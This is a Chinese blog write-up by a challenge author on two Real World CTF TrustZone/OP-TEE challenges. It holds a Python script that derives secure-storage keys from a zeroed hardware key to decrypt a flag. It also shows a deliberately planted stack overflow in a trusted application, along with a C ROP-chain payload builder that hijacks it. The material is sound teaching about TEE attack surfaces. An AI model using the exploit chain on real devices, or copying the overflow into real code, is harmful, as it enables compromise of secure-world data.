RWCTF-4th TrustZone challenge Writeup // Swings' Blog 浮生若梦

BEGIN_PAYLOAD20220124

Foreword

第四届 realworldctf 我和 @chennan 出了三个题目，分别是 Trust or Not, UnTrustZone and Wheels on the Bus，其中 Trust or Not, UnTrustZone 是和 TrustZone 相关的题目。

TrustZone challenge

TrustZone是基于硬件的安全功能，它通过对原有硬件架构进行修改，在处理器层次引入了两个不同权限的保护域——安全世界和普通世界，任何时刻处理器仅在其中的一个环境内运行。同时这两个世界完全是硬件隔离的，并具有不同的权限，正常世界中运行的应用程序或操作系统访问安全世界的资源受到严格的限制，反过来安全世界中运行的程序可以正常访问正常世界中的资源。这种两个世界之间的硬件隔离和不同权限等属性为保护应用程序的代码和数据提供了有效的机制：通常正常世界用于运行商品操作系统（例如Android、iOS等），该操作系统提供了正常执行环境（Rich Execution Environment，REE）；安全世界则始终使用安全的小内核（TEE-kernel）提供可信执行环境（Trusted Execution Environment，TEE），机密数据可以在TEE中被存储和访问。

Trust or Not

题目描述：

Trust or Not

Score: 357
1
>Reverse`, `difficulty:normal
We have lost some of our files and cannot retrieve the plaintext data originally stored.

Hint: flag file is stored in /data/tee/2 securely.
1
>nc 47.242.114.24 7788
attachment

TL;DR

要解决这个题目，首先要了解什么是安全存储。数据要么以某种加密/授权的方式存储在linux文件系统/data/tee中，要么存储在Emmc RPMB（Replay Protected Memory Block）分区中。这次的相关题目主要使用了 OP-TEE的开源项目，其更详细的信息可以在OP-TEE文档中找到。

**Hardware Unique Key （HUK） **

大多数设备都有某种硬件唯一密钥（HUK），主要用于派生其他密钥。例如，当派生密钥用于安全存储等时，可以使用 HUK 派生。HUK 的重要之处在于它需要得到很好的保护，并且在最好的情况下，HUK 永远不应该直接从软件读取，甚至不应该从安全方面读取。有不同的解决方案，加密加速器可能支持它，或者，它可能涉及另一个安全的协处理器。

Secure Storage Key （SSK）

SSK是每个设备的密钥，在OP-TEE启动时生成并存储在安全内存中。SSK用于派生TA存储密钥（TSK）。

1	SSK = HMACSHA256 (HUK, Chip ID \|\| “static string”)

获取硬件唯一密钥（HUK）和芯片ID的功能取决于平台实现。目前，OP-TEE 系统中每台设备只有一把 SSK，用于安全存储子系统。但是，为了将来，我们可能需要为每台设备使用生成 SSK 的相同算法为不同的子系统创建不同的密钥。为不同子系统生成不同的密钥的简单方法是使用不同的静态生成密钥的字符串。

Trusted Application Storage Key （TSK）

TA存储密钥

TSK是每个受信任的应用程序密钥，由SSK和TA的标识符（UUID）生成。它被用来保护FEK，换句话说，用来加密/解密FEK。

代码实现：build/optee_os/core/tee/tee_fs_key_manager.c

if (uuid) {
	res = do_hmac(tsk, sizeof(tsk), tee_fs_ssk.key,
		      TEE_FS_KM_SSK_SIZE, uuid, sizeof(*uuid));
	if (res != TEE_SUCCESS)
		return res;
} else {
	/*
	 * Pick something of a different size than TEE_UUID to
	 * guarantee that there's never a conflict.
	 */
	uint8_t dummy[1] = { 0 };

	res = do_hmac(tsk, sizeof(tsk), tee_fs_ssk.key,
		      TEE_FS_KM_SSK_SIZE, dummy, sizeof(dummy));
	if (res != TEE_SUCCESS)
		return res;
}

do_hmac 这里使用的是 HMAC_SHA256

最后就是

1	TSK = HMACSHA256 (SSK, TA_UUID)

File Encryption Key （FEK）

当一个新的TEE文件被创建时，密钥管理器将通过 PRNG（pesudo随机数生成器）为TEE文件生成一个新的 FEK，并将加密的 FEK 存储在 meta 文件中。FEK 用于对存储在 meta 文件中的TEE文件信息或块文件中的数据进行加密/解密。

Ideas

通过逆向和比对OP-Tee的源代码，希望选手能发现 HUK没有被设置。然后flag被加密了且存储在 /data/tee/2 文件里

TEE_Result __fastcall tee_otp_get_hw_unique_key(tee_hw_unique_key *hwkey)
{
  memset(hwkey, 0, sizeof(tee_hw_unique_key));
  return 0;
}

那么只要分析下安全存储的过程，可以参考如图：

思路就大概是

通过 HUK 和 chip id 计算出 SSK
通过计算出来的SSk 和 TA UUID计算出 TSK
通过计算出的 TSK 和被加密的 FEK 计算出明文 FEK
最后通过 FEK 解出明文的数据

其中被加密的 FEK 存储在 /data/tee/2 文件中，可以参考如下 010 tempte结构

//------------------------------------------------
//--- 010 Editor v10.0.2 Binary Template
//
//      File: 
//   Authors: 
//   Version: 
//   Purpose: 
//  Category: 
// File Mask: 
//  ID Bytes: 
//   History: 
//------------------------------------------------
#define TEE_FS_HTREE_IV_SIZE 16
#define TEE_FS_HTREE_TAG_SIZE 16
#define TEE_FS_HTREE_FEK_SIZE 16

typedef struct _tee_fs_htree_meta {
	UINT64 length;
}tee_fs_htree_meta;

typedef struct _tee_fs_htree_imeta {
	struct tee_fs_htree_meta meta;
	UINT32 max_node_id;
    UINT32 nop;
}tee_fs_htree_imeta;

typedef struct _tee_fs_htree_image {
	UCHAR iv[TEE_FS_HTREE_IV_SIZE];
	UCHAR tag[TEE_FS_HTREE_TAG_SIZE];
	UCHAR enc_fek[TEE_FS_HTREE_FEK_SIZE];
	UCHAR imeta[sizeof(struct tee_fs_htree_imeta)];
	UINT32 counter;
}tee_fs_htree_image;

#define TEE_FS_HTREE_HASH_SIZE		32
#define TEE_FS_HTREE_IV_SIZE 16
#define TEE_FS_HTREE_TAG_SIZE 16
typedef struct _tee_fs_htree_node_image {
	/* Note that calc_node_hash() depends on hash first in struct */
	UCHAR hash[TEE_FS_HTREE_HASH_SIZE];
	UCHAR iv[TEE_FS_HTREE_IV_SIZE];
	UCHAR tag[TEE_FS_HTREE_TAG_SIZE];
	USHORT flags;
}tee_fs_htree_node_image;

//--------------------------------------
LittleEndian();

tee_fs_htree_image  ver0_head;
tee_fs_htree_image  ver1_head;
FSeek(0x1000);
tee_fs_htree_node_image ver0_root_node;
tee_fs_htree_node_image ver1_root_node;
FSeek(0x2000);

Solved

最后脚本如下：

from Crypto.Cipher import AES
from Crypto.Hash import HMAC, SHA256

if __name__ == '__main__':
    #计算ssk
    huk = b'\x00' * 16
    chip_id = b'BEEF' * 8
    print(chip_id)
    ssk_str = b'ONLY_FOR_tee_fs_ssk\x00'
    m = HMAC.new(huk, digestmod=SHA256)
    m.update(chip_id)
    m.update(ssk_str)
    ssk = m.digest()
    print(ssk)
    
    #计算tsk
    ta_uuid = b'\xbb\x50\xe7\xf4\x37\x14\xbf\x4f\x87\x85\x8d\x35\x80\xc3\x49\x94' #ta的uuid
    m = HMAC.new(ssk, digestmod=SHA256)
    m.update(ta_uuid)
    tsk = m.digest()
    print(tsk)
    
    #解fek
    enc_fek = b'\xe4\x9a\x95\xf2\xb5\xf4\x9c\x04\xf6\x07\x9f\xfb\xf0\x2e\xd2\xef'  #2在header里
    cipher = AES.new(tsk, AES.MODE_ECB)
    fek = cipher.decrypt(enc_fek)
    print(fek)
    
    #解数据
    enc_data = b'....'
    iv = b'\xb4\xc9\x6a\x22\xe6\x36\x72\xcf\x6a\x44\x8f\x10\xa3\x11\x44\x68' #对应node
    cipher = AES.new(fek, AES.MODE_GCM, nonce=iv)
    data = cipher.decrypt(enc_data)
    print(data)

UnTrustZone

题目描述

UntrustZone

Score: 500
1
Pwn`, `difficulty:normal
It is clearly not worth your trust.

The default username is root.
1
nc 47.243.205.105 8899
attachment

TL;DR

这个题需要补充一些关于 TrustZone 的另外一部分关于 TA和CA的前置知识。 TA 是 Trusted Application 的缩写，通常运行在 TEE 环境下的应用简称为 TA。CA 是 Client Application 的缩写，通常运行在 REE 环境下的应用简称为 CA。

一个访问安全OS的服务流程为：打开 TEE 环境 > 开启一个会话 > 发送命令 > 获取信息 > 结束会话 > 关闭 TEE 环境。

借助OP-TEE来实现特定安全需求时，一次完整的功能调用一般都是起源于CA，TA做具体功能实现并返回数据到CA，而整个过程需要经过OP-TEE的client端接口，OP-TEE在Linux kernel端的驱动，Monitor模式下的SMC处理，OP-TEE OS的thread处理，OP-TEE中的TA程序运行，OP-TEE端底层库或者硬件资源支持等几个阶段。当TA执行完具体请求之后会按照原路径将得到的数据返回给CA。

Ideas

设计这个题目的时候，就只是想让选手了解下 TA 这个攻击面，所以漏洞设计的得特别简单，就是一个在TA中的栈溢出，我修改了附件中的HUK和签名时候的 key 让他保持于远程的不一致。希望选手通过 Pwn 这个 TA，来获取安全存储，即 /data/tee/2 下被加密的 flag 。

data_sz = params[1].memref.size;
	// data = TEE_Malloc(data_sz, 0); patch for challenge
	char data[0x20] ;
	if (!data)
		return TEE_ERROR_OUT_OF_MEMORY;
	TEE_MemMove(data, params[1].memref.buffer, data_sz);

Debug

参考： optee-build/debug.md at master · ForgeRock/optee-build (github.com)

有源码调试：

首先对 ldelf 的入口下断， b thread_enter_user_mode

然后执行 CA 程序，在 LOG 窗口中找到 TA 的加载地址

然后对 TA 入口下断， b *(baseaddr + TA_InvokeCommandEntryPoint_addr

无源码调试

OP-TEE 有日志功能，在日志功能中能看到 TA 的加载地址，可以通过这个进行调试

内存布局

Text Address	File Name	Description
0x0	bl1.elf	ARM Trusted Firmware Boot Loader Stage 1
0x1070	libteec.so	OP-TEE Client Shared Library [Normal World]
0x4009c0		Client Application [Normal World]
0xe01b000	bl2.elf	ARM Trusted Firmware Boot Loader Stage 2
0xe040000	bl31.elf	ARM Trusted Firmware Boot Loader Stage 3-1
0xe100000	tee.elf	OP-TEE
0xffff000008081000	vmlinux	Linux Kernel [Normal World]

usermod

user mode内存布局
E/LD:  region  0: va 0x40004000 pa 0x0e300000 size 0x002000 flags rw-s (ldelf)
E/LD:  region  1: va 0x40006000 pa 0x0e302000 size 0x008000 flags r-xs (ldelf)
E/LD:  region  2: va 0x4000e000 pa 0x0e30a000 size 0x001000 flags rw-s (ldelf)
E/LD:  region  3: va 0x4000f000 pa 0x0e30b000 size 0x004000 flags rw-s (ldelf)
E/LD:  region  4: va 0x40013000 pa 0x0e30f000 size 0x001000 flags r--s
E/LD:  region  5: va 0x40014000 pa 0x0e32e000 size 0x001000 flags rw-s (stack)
E/LD:  region  6: va 0x40015000 pa 0x5f60a888 size 0x001000 flags rw-- (param)
E/LD:  region  7: va 0x4004d000 pa 0x00001000 size 0x012000 flags r-xs [0]
 //随机 
E/LD:  region  8: va 0x4005f000 pa 0x00013000 size 0x00c000 flags rw-s [0]
 //随机

一般而言： ldelf 加载地址是固定的，处理代码位于 build/optee*os/core/arch/arm/kernel/ldelf_loader.c

ldelf_load_ldelf 函数中，最后加载的base为 0x40006000, 具体代码可见build/optee_os/core/arch/arm/kernel/ldelf_loader.c

Solved

解题关键是需要了解没法直接解密的时候，我们应该如何读取 flag：

TEE_AllocatePersistentObjectEnumerator
TEE_GetNextPersistentObject
TEE_OpenPersistentObject
TEE_ReadObjectData
memcpy data to buffer

首先， ldefl 加载基地址是不变的，我们可以在这上边找 gadget ，另外虽然 TA有随机化，但是这随机化并不是很高，可以通过爆破解决。所以 TA 的程序也是找 gadget 的目标之一。ldefl 程序的代码段是被通过 ldelf_load_ldelf 函数是写死在 bl32_extra1.bin中的。

最后我们找到的了几个可以设置 5 个参数的 gadget。

uint64_t CallFun5(TEEC_Session* sess,uint64_t func,uint64_t x0,uint64_t x1,uint64_t x2,uint64_t x3,uint64_t x4)
{
	//存放返回内存的地址在：g_ta_addr+124D8
	//返回地址0x00000000400152b0
	payload = (uint8_t*)malloc(0x1000);
	memset(payload,0,0x1000);
	memcpy(payload,tmp,sizeof(tmp));
	printf("tmplen 0x%lx \n",sizeof(tmp));
*(uint64_t*)(payload+48) = 0x40015150;  //next x19
	*(uint64_t*)(payload+56) = 0x40004008;  //next x20
	*(uint64_t*)(payload+40) = 0x40006000+0x0000000000003a28; //next pc
	*(uint64_t*)(payload+672) = x1 & 0xFFFFFFFFFFFFF000; //next x1  [x19+0x10]

	//x1 == [x19+0x10]
	//0x0000000000003a28: ldr x1, [x19, #0x10]; add x0, x0, x1; str x0, [x20]; ldp x19, x20, [sp, #0x10]; ldp x29, x30, [sp], #0x40; ret;
	*(uint32_t*)(payload+108) = 0x40015777; //next 19
	*(uint64_t*)(payload+112) = 0x40014ff8; //next 20
	*(uint64_t*)(payload+64) = 0x40004010; //next x21
	*(uint64_t*)(payload+184) = 0x40006000+0x0000000000000C40; //next pc
	*(uint64_t*)(payload+344) = x2; //next x2

	//x2 = [SP,#0x70+va]
	//0x0000000000000C40 E2 37 40 F9                                   LDR             X2, [SP,#0x70+va]
	*(uint64_t*)(payload+112+0x38) = 0x40015150; //next x19
	*(uint64_t*)(payload+272) = 0x40004070; //next x21
	*(uint64_t*)(payload+304) = 0; //next x25
	*(uint64_t*)(payload+160) = 0x40006000+0x0000000000000EE0; //next pc
	*(uint64_t*)(payload+672+8) = x0; //next x0 [x19 + 0x18]

	//x0 = [x19 + 0x18]
	//text:0000000000000EE0 60 0E 40 F9                                   LDR             X0, [elf,#0x18] 
//	*(uint64_t*)(payload+360) = 0x40006000+0x000000000000064C;//next pc
	*(uint64_t*)(payload+432) = x1; //next x27
	*(uint64_t*)(payload+440) = x3; //next x28
	*(uint64_t*)(payload+360) = g_ta_addr+0x000000000000aa00;//next pc
	
	//x3 == x28  x1 == x27
	//0x000000000000aa00 : mov x3, x28 ; csel x21, x21, x2, ne ; mov x1, x27 ; mov x2, x21 ; str x24, [sp, #0x78] ; blr x23
	*(uint64_t*)(payload+400) = 0x40006000+0x0000000000001f98;//next x23 next pc
	//x21 == [sp, #0x20]
	//0x0000000000001f98 : ldp x21, x22, [sp, #0x20] ; ldp x29, x30, [sp], #0x30 ; ret
	*(uint64_t*)(payload+376) = 0x40015170; //next x20
	*(uint64_t*)(payload+496) = 0x40015180; //next x21
	*(uint64_t*)(payload+472) = g_ta_addr + 0x0000000000005fa4; //next pc
	*(uint64_t*)(payload+696) = x4; //next x4 == [x20, #8]
	//x4 == [x20, #8]
	//x1 == [x21, #8]
	//0x0000000000005fa4 : ldr x4, [x20, #8] ; ldr x0, [x21, #8] ; cmp x4, x0 ; b.hi #0x5fc8 ; mov w0, w9 ; ldp x19, x20, [sp, #0x10] ; ldr x21, [sp, #0x20] ; ldp x29, x30, [sp], #0x30 ; ret
	*(uint64_t*)(payload+528) = 0x40015180; //next x19
	*(uint64_t*)(payload+544) = 0x40004070; //next x21
	*(uint64_t*)(payload+416) = 0xFFFFFFFFFFFFF001; //next x25
	*(uint64_t*)(payload+520) = 0x40006000+0x0000000000000EE0; //next pc
	*(uint64_t*)(payload+728) = x0; //next x0 [x19 + 0x18]

	//text:0000000000000EE0 60 0E 40 F9                                   LDR             X0, [elf,#0x18] 
	*(uint64_t*)(payload+568) = func;//0x40006000+0x000000000000064C;//next pc	
  return 0;
}

Reference

OP-TEE中secure stroage——安全存储使用的key的产生 (daimajiaoliu.com)

OP-TEE Documentation — OP-TEE documentation documentation (optee.readthedocs.io)

EOFCHECKSUM_OK

TrustZone challenge

Trust or Not

TL;DR

Ideas

Solved

UnTrustZone

TL;DR

Ideas

Debug

内存布局

Solved

Reference

评论